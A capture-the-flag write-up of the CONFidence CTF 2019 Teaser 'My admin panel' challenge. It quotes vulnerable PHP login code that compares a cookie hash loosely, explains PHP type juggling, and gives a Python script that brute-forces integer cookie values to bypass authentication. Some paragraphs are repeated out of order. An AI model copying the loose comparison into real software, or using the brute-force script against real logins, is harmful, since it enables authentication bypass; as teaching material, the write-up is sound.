Hi,
Welcome to my write-up about CONFidence CTF 2019 Teaser!
Menu
My admin panel
Description:I think I've found something interesting, but I'm not really a PHP expert. Do you think it's exploitable?Link: https://gameserver.zajebistyc.tf/admin/
Click the link, you can see 2 files: login.php and login.php.bak. The file login.php.bak is a backup file of login.php, let's open it:
In fact, the cookie is JSON. It's then passed to the json_decode function and returns an object named $session_data. Because the second parameter of json_decode is true, which means assoc=true, the return object is an associative array.
Oh, it's very clear, isn't it?
Now comes the tricky part:
However, it is unlikely possible with my laptop. When a character is "and" with 0xC0, if returning 0 so it can be 0-9, otherwise, if returning 64 so it can be A-Z and a-z. I read the code again slowly, and boom, I saw it uses loose comparison when compares the hash with MD5 of $cfg_pass.
When PHP compares an integer with a string using the loose comparison, it compares the integer with the first numeric characters of the string. It means 123!=='123' but 123=='123abc'. Now take a look back to the server's hint, the first 3 zeros are 3 numeric characters and the 4th character of $cfg_pass' hash is an alphabetic one. Let's brute force only the first 3 numbers. I wrote a Python script to get the flag:
<?php include '../func.php'; include '../config.php'; if (!$_COOKIE['otadmin']) { exit("Not authenticated.\n"); } if (!preg_match('/^{"hash": [0-9A-Z\"]+}$/', $_COOKIE['otadmin'])) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); } $session_data = json_decode($_COOKIE['otadmin'], true); if ($session_data === NULL) { echo "COOKIE TAMPERING xD IM A SECURITY EXPERT\n"; exit(); } if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) { echo("I CAN EVEN GIVE YOU A HINT XD \n"); for ($i = 0; i < strlen(MD5('xDdddddd')); i++) { echo(ord(MD5($cfg_pass)[$i]) & 0xC0); } exit("\n"); } display_admin();As you see, the script requires a cookie named otadmin which must be a form of {"hash": "SOMETHING"}, note that it has a space character after the colon. If you're unfamiliar with regular expression, use this online tool.
In fact, the cookie is JSON. It's then passed to the json_decode function and returns an object named $session_data. Because the second parameter of json_decode is true, which means assoc=true, the return object is an associative array.
Oh, it's very clear, isn't it?
Now comes the tricky part:
if ($session_data['hash'] != strtoupper(MD5($cfg_pass))) { echo("I CAN EVEN GIVE YOU A HINT XD \n"); for ($i = 0; i < strlen(MD5('xDdddddd')); i++) { echo(ord(MD5($cfg_pass)[$i]) & 0xC0); } exit("\n"); }At first glance, I intended to brute force the MD5 hash. When I sent the cookie otadmin={"hash": "SOMETHING"}, the server gave me a hint as you saw in the code: 0006464640640064000646464640006400640640646400.
However, it is unlikely possible with my laptop. When a character is "and" with 0xC0, if returning 0 so it can be 0-9, otherwise, if returning 64 so it can be A-Z and a-z. I read the code again slowly, and boom, I saw it uses loose comparison when compares the hash with MD5 of $cfg_pass.
When PHP compares an integer with a string using the loose comparison, it compares the integer with the first numeric characters of the string. It means 123!=='123' but 123=='123abc'. Now take a look back to the server's hint, the first 3 zeros are 3 numeric characters and the 4th character of $cfg_pass' hash is an alphabetic one. Let's brute force only the first 3 numbers. I wrote a Python script to get the flag:
import requests url='https://gameserver.zajebistyc.tf/admin/login.php' s=requests.Session() for i in range(1000): r=s.get(url,cookies={'otadmin':'{"hash": '+str(i)+'}'}) if 'HINT' not in r.content: print r.content breakFinally, with otadmin={"hash": 389}, the flag appeared:
Thank you for reading!
Comments
Post a Comment